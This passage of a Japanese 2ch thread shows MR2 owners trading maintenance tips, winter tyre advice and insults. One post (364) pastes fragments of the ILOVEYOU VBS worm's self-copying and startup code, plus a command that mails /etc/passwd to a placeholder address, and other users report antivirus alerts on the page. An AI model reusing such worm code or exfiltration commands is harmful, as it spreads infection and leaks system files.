年齢の低いおバカサンが発生してますね。 興味持ったり乗る資格無いよ。 うざいから消えてね、ｂＢでも乗ってなさい。
311:名無しさん＠そうだドライブへ行こう
>>309 それはオススメしない。 俺それやったけど、プラグに水かかってリークしてエンジン回らなくなった・・・ プラグ穴の水を綺麗に吸い取ったら直ったけど。
312:名無しさん＠そうだドライブへ行こう
>>310 またガキが発生してるのか・・・。 MR2が現役で売っていた頃に免許持って無いダニ共は興味持つな！！ お前等に乗る資格は無い。 消え失せろ。 スレが荒れるから放って置いたがどうしようも無いな。 上でbBってあったがワゴンRかムーブにエアロ付けて生き恥でも晒してろや。
313:名無しさん＠そうだドライブへ行こう
日本語の不自由なおっさんがいるのはここですか？
314:名無しさん＠そうだドライブへ行こう
でも、ぶっちゃけ引退から6年は経ってるしな 極端に台数はけてない4型以降はほんと貴重
315:名無しさん＠そうだドライブへ行こう
でも、子供（精神年齢の低い）クズには乗ってもらいたく無いな。 責任を感じられないってのが一番の理由だな。 >>313 おっさんは恥ずかしいがお前は恥さらしと言われても文句言えないよ。
316:名無しさん＠そうだドライブへ行こう
>>315 餓鬼相手にすんなよ。 お前も同類と思われっど。 厨にスライドする瞬間が分からないようにここでしか学校のウサ晴らせない可哀想なんだから。 気分晴らすためにリアルMR2に乗ってくるか。
317:3 581QcWUJKM
>>316 ↓漏れは気分晴らすためにリアルフェラーリ（Ｆ４３０）に乗ってくるか。 http://h.pic.to/35d5p
318:名無しさん＠そうだドライブへ行こう
何にファビョってるのかさっぱりわからんわけだが
319:296
>>298さん なぜ純正はダメなんでしょうか？ 社外オイルとの違いは？？ よろしければご教授願えませんか
320:名無しさん＠そうだドライブへ行こう
ほんとは書き込んでるのオサーン同士なのに、互いにふぁびょっててうける。
321:名無しさん＠そうだドライブへ行こう
>>319 純正で十分。規定量間違えないでね。 入れすぎる馬鹿がたまにいるからw
322:309
>>321 デフだし、入れ過ぎって難しいんじゃ？あんなの量測って 入れる？俺測ったことないよ。
323:名無しさん＠そうだドライブへ行こう
連れの話なんだが、 ３２TYPE-Mのデフに２．５Ｌオイルをぶち込んだ黄○帽のピットマンがいたそうだ。 そのあんちゃんに、 「かたむけたら入りましたよ～」 って、言われて怒るのを通り過ぎて笑っちゃったそうだ。 当然、真直ぐにしてフィラーを開けたら、どぼどぼと・・・。
324:名無しさん＠そうだドライブへ行こう
なんか、お店のおばちゃんが汁にがっつり指を突っ込んでラーメンを持ってきて、 「ちょっと、指入ってるじゃないですか」って注意したら、「大丈夫大丈夫、熱くない から」って返されたって話に似てるな。
325:321
>>322 ショップやディーラーですれば問題ないだろうけど、 たまに車傾いてるのを考慮していない人がいる。
326:名無しさん＠そうだドライブへ行こう
>>305 ハブが軋んでSLみたいな音させてた漏れが来ましたよ。 車検ついでにハブ修理をしてもらうつもりなんだが、 ハブの中身のベアリングを交換ってことで頼んだんだよ。 それじゃダメなのかな？
327:名無しさん＠そうだドライブへ行こう
>>317 なにげにスゲーな。 お金持ち？
328:名無しさん＠そうだドライブへ行こう
>>326 それが普通だろ。
329:名無しさん＠そうだドライブへ行こう
>>326 それでok。 ただ、俺はギシギシアンアン状態で乗ってたら、そのへんが焼きついて酷い事になった。 結局ASSY交換。特に右回りのサーキット走ってたから、左リアのハブは酷かったよ。
330:名無しさん＠そうだドライブへ行こう
>>329はMR2でカーセクース！？
331:名無しさん＠そうだドライブへ行こう
>>330 古都ひかるキタ━━━━(゜∀゜)━━━━!!
332:名無しさん＠そうだドライブへ行こう
303:名無しさん＠そうだドライブへ行こう :2005/11/15(火) 12:16:41 ID:Gu9RVGxv0 [sage] アダルト板からきました ひかるタソのスレはここですか？
333:名無しさん＠そうだドライブへ行こう
ttp://images-jp.amazon.com/images/P/B00024HQHE.09.LZZZZZZZ.jpg _ ∩ ( ゜∀゜)彡 おっぱい! おっぱい! ( ⊂彡 | | し ⌒Ｊ
334:名無しさん＠そうだドライブへ行こう
>>331-333 お前ら落ち着いてカエレ
335:名無しさん＠そうだドライブへ行こう
おいｗ乳貼るなばかｗｗｗ
336:名無しさん＠そうだドライブへ行こう
きききれいなMRが・・・しろくてきれいなMRがふたつ・・・
337:名無しさん＠そうだドライブへ行こう
もうちょっと画像が大きければ良かったのにね。 たまにはこんな息抜きもいいんでない？
338:名無しさん＠そうだドライブへ行こう
ひかるちゃんかわいいねー！ >>336落ち着け。
339:名無しさん＠そうだドライブへ行こう
_ ∩ ( ゜∀゜)彡 ＭＲ!ＭＲ! ( ⊂彡 | | し ⌒Ｊ
340:名無しさん＠そうだドライブへ行こう
なんだオマエラMR2(MRMR)してきたのか？
341:名無しさん＠そうだドライブへ行こう
オマイら、>>333の写真をよく見てミレ！ 右肩から肘にかけてのラインが「S」、オパーイが「W」で「SW」に見えないか？？
342:名無しさん＠そうだドライブへ行こう
とおもたら↑何気にIDが「パイオツ」ですたww
343:名無しさん＠そうだドライブへ行こう
何？この流れは？？
344:名無しさん＠そうだドライブへ行こう
>>343 空気嫁！
345:名無しさん＠そうだドライブへ行こう
これぐらいでやめとこうか
346:名無しさん＠そうだドライブへ行こう
>>345 そうだね。 でもかなりワロタｗ 北の大地はそろそろ雪に覆われます。 MR2の挙動を勉強するぞー。
347:名無しさん＠そうだドライブへ行こう
スタッドレスタイヤのサイズは どのくらいが良いでしょうか？ MR2で初めての冬を迎えるのですが リアの幅をどうするかと(ry ホイールは純正アルミを使用します。 アドバイスよろしくお願いします。
348:名無しさん＠そうだドライブへ行こう
>>346 スタッドレスの雪道走行では荷重移動が少なすぎて舗装路とは 挙動が全然違うよ。 まあ走らないよりは走った方が良いけど気を付けて。
349:名無しさん＠そうだドライブへ行こう
また、冬タイヤの話かよ
350:名無しさん＠そうだドライブへ行こう
いいじゃないの。それともまたオパイの話するか？時間とともに希少となっていくMR2を選んだ変人が初めての冬を迎えるのだ。なまあたたかくみまもっていこうよ。 と偉そうに言ってるが冬は乗らないから夏タイヤしかないオレ… ミシュランは長持ちするって聞いたが性能はいかがなものかね!?
351:名無しさん＠そうだドライブへ行こう
14インチ履ければ、コロナ系の中古が結構転がってるんだが...
352:名無しさん＠そうだドライブへ行こう
お手メーカー製のスタッドレスなら実用上問題ない範囲、似たようなもん。 大体が氷結路重視、新雪路重視ならラリー履くしかないってのが現状。 （ラリータイヤは乗り心地悪い＆氷でシボンヌなのでオススメできないｗ）
353:名無しさん＠そうだドライブへ行こう
むしろ16インチのほうがいい希ガス。 32スカイラインあたりの純正サイズだし、銘柄も選べそうだ。
354:名無しさん＠そうだドライブへ行こう
前後195-60-14＠1型
355:名無しさん＠そうだドライブへ行こう
あの頃の16インチは市場で引き合いがあって比較的高値だから、32、33スカイラインと同時期の日産FR普及グレードや、80、90マーク2以下同文が履いてた5穴15インチホイールとタイヤ。 外径と前後バランス妥協すれば、一番安くあがりそう。 どうだろう。
356:名無しさん＠そうだドライブで逝こう
俺は、フロント185/65-15 リア195/65-15履いてるよ。ちなみにⅠ型NAだけどね。 本来は純正サイズ履くのがベストなんだろうけど、なかなかなくてねえ・・・。特に リアの225/50-15が見つからない。 １５インチが一番種類もあるし、リーズナブルなんぢゃないかな。
357:名無しさん＠そうだドライブへ行こう
205/55-15にするだけで色々選べる
358:名無しさん＠そうだドライブへ行こう
225-45-16が欲しいけど無い 225-50-16で妥協 スタッドレスはもっと選択肢が狭いよね
359:名無しさん＠そうだドライブへ行こう
今、どっちの話？ ノーマルタイヤ？スタッドレス？ どっちにしろ純正サイズは選ぶ意味無いよ。 そもそも純正サイズが間違ってんだから。 ガキが多いねここは。 子供はお呼びで無いよ、失せな。
360:名無しさん＠そうだドライブへ行こう
ガキもいらんがageでファビョってる奴もいらん
361:名無しさん＠そうだドライブへ行こう
ageだのsageだのウザイよ。 意味ある書き込み出来ないクズ共が囀るんじゃないよ。 恥知らずは社会の底辺を這いずってろよ。 蛆虫が。 負け犬の遠吠えほど恥ずかしいのは無い。
362:名無しさん＠そうだドライブへ行こう
一部の住民を除き、ここに近づく輩は人生の敗北者しか居ないと判明されました。 ここに書き込むのは貴方の人生を汚れた物とする行為となりますので自重する事を切に願います。 私は負け犬の仲間になる趣味は御座いませんのであしからず。
363:名無しさん＠そうだドライブへ行こう
〃∩ ∧_∧ ⊂⌒( ・ω・) はいはい加齢臭加齢臭 ｀ヽ_っ⌒/⌒c ⌒ ⌒
364:名無しさん＠そうだドライブへ行こう
c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") cat /etc/passwd | mail noｂｏｄｙ@nonexistent.com If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" Sub auto_open() Application.OnSheetActivate = "check_files" End Sub
365:名無しさん＠そうだドライブへ行こう
加齢臭どころか、むせかえるほどの若さを感じる... ってわけで、なんだっけ？俺、敗者？ それよか、純正サイズが間違ってるについて詳しく知りたい。
366:名無しさん＠そうだドライブへ行こう
下手にageると蟲が寄ってくるな。 これが2chクオリティーwww
367:名無しさん＠そうだドライブへ行こう
純正サイズって、神のサイズだろ。 って、ＳＷの話だったね、スマソ。
368:名無しさん＠そうだドライブへ行こう
ミシュランはドライでもスノウでもそこそこいけるから都心部の人にお勧め。 雪国の人は国産が良いのでは？
369:名無しさん＠そうだドライブへ行こう
ミシュランか・・・ Ｘ－ＩＣＥになってからはわからんが、ドライスの頃は 無茶苦茶バランスが取り辛かった記憶があるんだが
370:名無しさん＠そうだドライブへ行こう
死國の平野部に生息する俺としてはまったく解らん話なんだが。 なんだ？MR2って雪国率が高いのか？
371:名無しさん＠そうだドライブへ行こう
日本の人口の大半は雪の積もらない大都市に住んでる訳だから 雪国でMR2乗ってるヤツはほとんどいないだろう。
372:名無しさん＠そうだドライブへ行こう
♪すっきよぉ～～、あっなったぁ～～、今でもぉ～、いまでぇもぉ～♪ by 吉イカゾウ
373:名無しさん＠そうだドライブへ行こう
>>364 氏ね、そんなもん貼るな('A`) スタッドレスは舗装路メインならミシュランよりピレリの方がいい希ガス。 一応日本全国の内、積雪地帯とされている地域は面積ベースで4割強あるんでいじめないでくれ(´・ω・｀) （人口比だと少ないけどなｗｗｗ）
374:名無しさん＠そうだドライブへ行こう
当方北陸 もしかして稀少種？
375:名無しさん＠そうだドライブへ行こう
9月頭から探し始めてやっと見つかりましたよー。３型Ｇリミ がっちり試乗して帰る頃には、もうコレしかないって感じになってました。 MR-Sからの乗換えで、MR-S（貰い事故で廃車）も気に入ってたけど、コレもいい！ 末永く大事にしますよ。 ところで、首都圏に住んでますが、冬タイヤってあった方がいいですかね？ MR-Sの時は1回だけ雪で走って、もう雪の日は乗らんって思ってましたが・・・ 1回振ると何日か残るんですよね＞雪
376:名無しさん＠そうだドライブへ行こう
23区在住です 首都圏で雪の降る(残る)日数、タイヤ交換の手間、タイヤの保管場所等 色々考えると 雪の日は乗らん！になります。 首都圏と言っても広いので、郊外の方は許してくれ。
377:名無しさん＠そうだドライブへ行こう
364がウィルスか？ ノートン先生が消しまくるから何とかして。
378:名無しさん＠そうだドライブへ行こう
379:名無しさん＠そうだドライブへ行こう
普通のラブレター
380:347
>>350-358 レスどもですm(_ _)m 15吋ホイールを使うので185-205で選んでみます。 今日の冷え込みで南東北の山沿いは積雪がありそうなので 明日にでもタイヤを買いに逝ってみます。
381:名無しさん＠そうだドライブへ行こう
雪の日に車を動かさなければ冬タイヤなんて必要ない。 しかし少しでも動かすのであれば冬タイヤ絶対必須。 普通タイヤで雪道を走ろうなんて絶対考えてはいけない。
382:名無しさん＠そうだドライブへ行こう
どうも冬タイヤのみってのはね～。 チェーンが常備してないんなら履かせてもあまり意味無いんじゃない？ それよりこのスレのラブレター何とかしちくり。
383:名無しさん＠そうだドライブへ行こう
冬タイヤよりチェーンを用意した方が良いかと。 一番良いのは、雪が降った日には乗らないことですが。 いくら一般量産車といえど、そこそこ弾数減ってきてますから 現存する車両は大事にしましょう。 あと、ラブレターは専用ブラウザ使ってもダメですかい？
384:名無しさん＠そうだドライブへ行こう
急な登り坂道だと、機械式２WAYも必須じゃねえ？ 雪道でフロントホイールハウス内に雪がたまってステアリング が効かなくなる画期的対策キボン
385:名無しさん＠そうだドライブへ行こう
ラブレターって何のこと？？ 僕は「IE6.0」と「Live2ch」を併用してますが、何も異常無しです。
386:名無しさん＠そうだドライブへ行こう
おっ、あれから数時間たったらノートン先生は相変わらず反応するけど見れる様になったよ。 手を打ってくれた方ありがとう。
387:名無しさん＠そうだドライブへ行こう
ageてると>364みたいな奴がよってくるから困る
388:名無しさん＠そうだドライブへ行こう
純正LSDでも、雪道でなら恩恵ありますか？3Tか4NA狙ってます。 ちなみに今までビスカス標準の車(ハイパワーFR)に乗ってて、スタッドレス装着のみで特に北陸の冬で不自由感じたことなかったんですが、MRの雪道でのナーバスさはFRの比ではないと方々で言われ焦っております。 LSDが入ってるかどうか、店頭で見分ける術って、ありますか？一応スタッドレスは準備するつもりです。
389:名無しさん＠そうだドライブへ行こう
>>388 FRで雪道を走れれば十分走れるぞ。 MRのクセはリヤブレークの限界が高いがソレを超えると 一気に回ってしまう事。だからブレークさせない運転がキモ。
390:名無しさん＠そうだドライブへ行こう
チェーンのみでスタッドレスを用意しないのは流石に雪国ではまずいだろ。 融雪・除雪が場所によってはかなりされるから、チェーンの寿命を考えると乗れたもんじゃない。 関東圏だったらそれで良いと思うが・・・新雪ざくざくで放置されてる場所しか走らないならシラネ
391:名無しさん＠そうだドライブへ行こう
今夏からSW20乗りになった者ですが、夏タイヤでスキー場は無謀ですか？
392:名無しさん＠そうだドライブへ行こう
>>391 チェーン持って行けばＯＫ。
393:名無しさん＠そうだドライブへ行こう
本心を言えば、雪道は車が痛むから走りたくない…特に都会仕様の車&ドライバーだと、スキー1発で1年分以上のダメージを与えてしまうかも。 スキーキャリア痕とか、内装に板積んだ傷がある中古車だと、外装ピカピカでも下回り、エンジンルーム内の痛みがひどいのを多々みかける。
394:名無しさん＠そうだドライブへ行こう
>>393 凍結防止剤による塩害ダメージって凄まじいからね。
395:名無しさん＠そうだドライブへ行こう
見落としがちな雪道の罠。 ある程度の厚みをもって形成されたアイスバーン路面だと、マンホールや排水溝の蓋の真上や、チェーン装着大型車が立ち往生した跡に、かなり深い穴ができることがある。 アイスバーン路面はかなり固いから、その穴に勢い良く突っ込むと車体が大きなダメージを受ける。恐らく、そのスピードで駐車場の輪留めをまたぐのと同等の。 路線バス通り等、要注意。 MR2、とりわけAWや、SW4、5は人類共通の財産だと思うので、みなさんどうかお気を付けて。
396:2型乗りだ
>>395 ケンカ売ってんのか？ SWの1.2.3型は存在意義が無いとでも？ ふざけんなよ。
397:名無しさん＠そうだドライブへ行こう
「とりわけ」 それ全体としてそうだけれども、その中でも特に、ということ。 AWや4、5型は、相対的により希少だから。
398:名無しさん＠そうだドライブへ行こう
まぁ、ぶっちゃけ3型までは程度の良い悪いは 別として市場にゴロゴロしてるしな。
399:名無しさん＠そうだドライブへ行こう
>>397 何と言おうとそれ以外の型に乗ってる人は気分悪くなる書き方ですよ。 何故分ける必要があるの？ わざわざ対立煽る様な事をしなくても良いでしょ？ 所有出来るだけでも有難いのに可哀想な人だね・・・。
400:名無しさん＠そうだドライブへ行こう
実際、この手の車は自動車好きからは憧れの対象でもある… 決して買えない値段ではないが10年選手の中古が100万くらいしたり 二名乗車や積載性などの実用性の無さがネックになる。 さらに所帯を持つと経済面や置き場所、周囲の反対などの問題もある。 憧れのままで終わり、なかなか購入まで辿りつかないのが現実だ。
401:名無しさん＠そうだドライブへ行こう
本人は気付かなくてもカンに触る生き方しか出来ないのも居るんで 相手をしない方が良いよ。 まあ、携帯で2chやってるのは対人感覚の狂ってるのが殆どだから。 依存症に効く薬は無いって事。 晒しage またウィルス来るかな～。 ゆとり教育は失敗って事証明してくれたのが救いだね。
402:名無しさん＠そうだドライブへ行こう
>>391 自分もMR2に乗り換えて初冬です。 雪の日は乗らないつもりで、冬タイヤの購入予定はありません。 夏タイヤでスキー場・・・ どんなに慣れた車でも無理っすね～ ましてや下手糞の自分がMR2で・・・
403:名無しさん＠そうだドライブへ行こう
今日、某ＭＲ２専門店にＯＨ後初のオイル交換に行ったら、親子連れ(父親と小学生低学年ぐらいの息子)がＭＲ２買いに来てた。 現金即決だった模様。 息子の代まで乗り継いでくれ。
404:名無しさん＠そうだドライブへ行こう
私は3型末期乗りです。 そこそこいじってしまっており、生活車として痛めつけている部分もあるので、いずれ余裕が出たら4型、5型をノーマルのまま、完全に趣味の車として維持したい、という願望から、みなさまに不快感を与える言葉になってしまったようです。 おわびして撤回いたします。 大変申し訳ありませんでした。
405:名無しさん＠そうだドライブへ行こう
キニスンナ 1型GT海苔の俺は叩きられ慣れしてるし。 orz
406:名無しさん＠そうだドライブへ行こう
age+火病
407:名無しさん＠そうだドライブへ行こう
>401 >364はウィルスじゃないですよ^^; 自分の頭の悪さを自慢しなくても・・・^^; 低脳はゆとり教育の言葉使って 他人を貶める事しか楽しみがないんですね^^;
408:名無しさん＠そうだドライブへ行こう
うわ～ん、またノートン先生が～。 型の話が出てるけど、搭載できる機器の関係も考慮してね。 私はテクトムのMDM-100ってマルチモニターを付けてるけど、同じMR2でもT1,T2って故障診断コネクターに違いがあって 最終型の5型は国際規格のコネクターだった様な・・・。 詳しくは調べてないけど、 1～2型 T1 3～4型 T2 だったかな。 今出てるアペクセラやブリッツのモニターも5型しか流用出来ないのかも。 この手の知識も必要になって来るね。
409:名無しさん＠そうだドライブへ行こう
>>407 一応ノートン先生はウィルス名って出るからワーム類でも一緒にしていいんじゃないかい？ それよりも貴方の低脳さも洒落にならない位なさけないね～。 荒れるから消えうせてよ、気分悪いから。 車に興味持つのは良いけど、2ちゃんにどっぷりはまってないで外にでも出ましょうね。
410:Z32NA元年式乗り
>>395をどう読んだら、1、2、3型に存在意義が無いとまで読めるのか。 車種板では、年式、グレード、ミッション形式関係なく、多少の行き違いがあっても、仲良くしましょうよ。
411:名無しさん＠そうだドライブへ行こう
国際規格コネクタはNA5型のVVTiだけ。 ターボは3型から5型までエンジン仕様は全く変更無し。 でもターボで一番パワー出ているのは 3型の94年5月までに生産された車両という噂。
412:名無しさん＠そうだドライブへ行こう
>>410 スルーすればいいだけじゃん 何で蒸し返すんだ？
413:名無しさん＠そうだドライブへ行こう
>>410 蒸し返しておきながら仲良くしましょうとは・・・どういう精神構造してんだか。 その文を読む限り1～3型に対する嫌悪感みたいなのを感じたけどな。 その後に続くレスみても1～3型にいらん刺激を与えたのは拭えんぞ。 おまいの読解力は凄まじく乏しいとしか言えんぞ。 同一の文連で前後の口調を統一出来て無い所を見ると、小学校の国語で習う文法類が 習得されて無い様だしな。 もう一度義務教育受けたら？
414:375
流れぶった切ってごめんなさい。 一応、首都圏とはいえ、雪が降った日に外出しなきゃいけない事態も起こるかもなのでチェーンだけでも 用意しときます。 納車まであとちょっと。楽しみだー 早ければ水曜位のはず
415:名無しさん＠そうだドライブへ行こう
ＭＲ２にチェーン装着となると当然リアとなるわけだが、フロントの軽いＭＲ２で ちゃんと曲がれるのか疑問だ。でも首都圏なら大丈夫かな？
416:名無しさん＠そうだドライブへ行こう
表現がむづかしくてスマソだが。 曲がるのは問題ないが 登り坂で止まった時、 前が落ちてくる時がアルのと 亀甲型じゃないと下りで横にずれて 止まれないときがある。
417:名無しさん＠そうだドライブへ行こう
>>411 噂じゃなくて事実 3型初期と比較して、3型後期以降のコンピュータは燃費重視で薄めのセッティングになってる 特に吸排気いじるとその差が明確になってくる ま、コンピュータいぢる人には関係無いが…
418:名無しさん＠そうだドライブへ行こう
>>417 ちょっと待った！ >3型後期以降のコンピュータは燃費重視で薄めのセッティングになってる ↑これだけ見ると、３型以降の方がパワーが出ている事になる。 排気量、圧縮率、点火タイミング、タービンサイズ、ブースト圧他、全てのセッティングが同じとした場合、 燃料は薄い方がパワーは上がるのだから、、、。 つまり、燃料を徐々に薄くしていって、E/Gブローする寸前が一番パワーが出て燃費も良い、最高の状態。
419:名無しさん＠そうだドライブへ行こう
>>388 ちょっとレス遅いけど。 雪道で一番困るのはブレーキ。とっても難しい。そして、 これはエンジンの搭載位置や駆動方式の影響は（通常運転 の範囲内では）あまり大きな影響がなく、どんなクルマでも 難しいところ。4WD乗りが勘違いして雪道でも大丈夫と思う のはいた仕方ないところだけど、雪国ではこんなのが常識 なんです。だから意外なほど4WD車が少ないんですわ。 MR2に関しては一応乗れるけど、除雪状況が悪いところで は車高の都合で乗れないケースもある、程度の認識は必要 ですね。MR2やNSXで雪上ラリーに参戦しているアマチュア さんもいるので、この辺りを参考にしてみてはいかが？
420:名無しさん＠そうだドライブへ行こう
>>418 あのさぁ、ピーク時の空燃比だけのハナシじゃないでしょ そんな誰もが知ってる理論を振りかざしてないで、ちっとは頭使ったら
421:名無しさん＠そうだドライブへ行こう
バイト先から携帯より。おはつです。広島で2型gts乗りです。冬は雪が一メータくらい降るようなところですが慣れれば以外と平気ですよ。圧雪されてるところは良くすべるから、フロントだけ圧雪がキレイにされてないところへ乗せてブレーキすると曲がりやすいですよ。
422:名無しさん＠そうだドライブへ行こう
>>418のレスを100回読み直せ。
423:名無しさん＠そうだドライブへ行こう
スタッドレスの話してるところ申し訳ありません。 少し質問させて下さい。 エンジンちょっと前あたりのアンダーカバーに クーラント液っぽい液体が滴ってるのですが、 やっぱヒーターパイプのヒビとかが原因でしょうか？ １型乗ってた時はそうだったんですが、他に原因って 考えられますかねぇ・・・。 あと、もしヒーターパイプ交換となった場合、他に一緒に交換とか しといた方が良い部品などありましたら教えて下さい。
424:名無しさん＠そうだドライブへ行こう
>>375 まだ見てるかしらんが、サイタマーまで来れるなら購入の御祝いに 純正サイズ用のタイネットくれてやるぞ。 何年か前に買ったはいいが、セカンドカーあるから一度も使ってネェよ・・
425:名無しさん＠そうだドライブへ行こう
総括出来ないけど・・・。 正直「帯に短し襷に長し」がMR2の真実じゃないかな？ 全ての型でなくトータルで。 5型はECU関係で国際規格を得てもコスト削減で内装質感減でテレスコ無しではね・・・。 流用や情報の共有が出来無い所を見ると、MR2乗りは問題を抱えてる輩が異常に居るってのが証明されたね。
426:名無しさん＠そうだドライブへ行こう
はいはい異常異常
427:名無しさん＠そうだドライブへ行こう
つ【あばたもえくぼ】
428:名無しさん＠そうだドライブへ行こう
テレスコ無くなったけど、ステアリング剛性は上がってよかった。
429:名無しさん＠そうだドライブへ行こう
>>428 実は剛性そのものはテレスコあっても無くても変わらないって知ってた？ 廃車したのから拝借したけど部品強度はあまり変化無かったよ。 コスト削減を剛性上がったってすり替えられたのにそれに気付かない人が何と・・・。
430:名無しさん＠そうだドライブへ行こう
「あまり変化無い」の客観的根拠を示さないと、単にお前には違いが 判らなかっただけってことになるぞ。
431:375
>>424さん 埼玉のどのあたりでしょう？ ぜひ、頂けるとうれしいなーと
432:名無しさん＠そうだドライブへ行こう
>>424&431 いっそのこと2ch MR2スレのOFF会でもやればいいジャマイカ。 と北海道在住の漏れが思うorz
433:名無しさん＠そうだドライブへ行こう
ステアリング、ブレーキが効かなくなったり、 1、3、5速しか使えなくなったりするのが嫌なら 雪道乗らないほうがいい。 よっぽど軽四のほうが快適
434:名無しさん＠そうだドライブへ行こう
2chMR2スレのOFFかぁ。 以前豊田でなかったか？ よくわからん領収書の画像があるんだが。
435:名無しさん＠そうだドライブへ行こう
オフやるんだったら参加する(´ー｀)ノシ
436:名無しさん＠そうだドライブへ行こう
俺も俺も
437:名無しさん＠そうだドライブへ行こう
参加したいが日時と場所による。
438:名無しさん＠そうだドライブへ行こう
>>428 阿呆はお前w構造が分かってれば考えるまでもない。
439:名無しさん＠そうだドライブへ行こう
>>438 阿呆はお前。 構造のみならず2つのパーツ並べて比べてみな。 実際に触っても無い輩が脳内世界を語るなよ。 MR2所有してから書き込みな。
440:424
住んでるのは川口。 OFFかぁ・・・買ったばかりの人は色んな仕様のSWが見れて面白いかもな。 でも漏れはただ集まるっての苦手なんだわ。 カート大会とかサーキット走行会で集まるなら喜んで行くですよ。 そうだな・・・どっかに放置して場所だけ教えるから、 最初に見つけたヤシがゲッツするってのはどうよ？ 見つけたって報告が無かったら回収してヤフォークにでも出すわ。
AWTOYOTA MR2 21台目SW 2ページ目
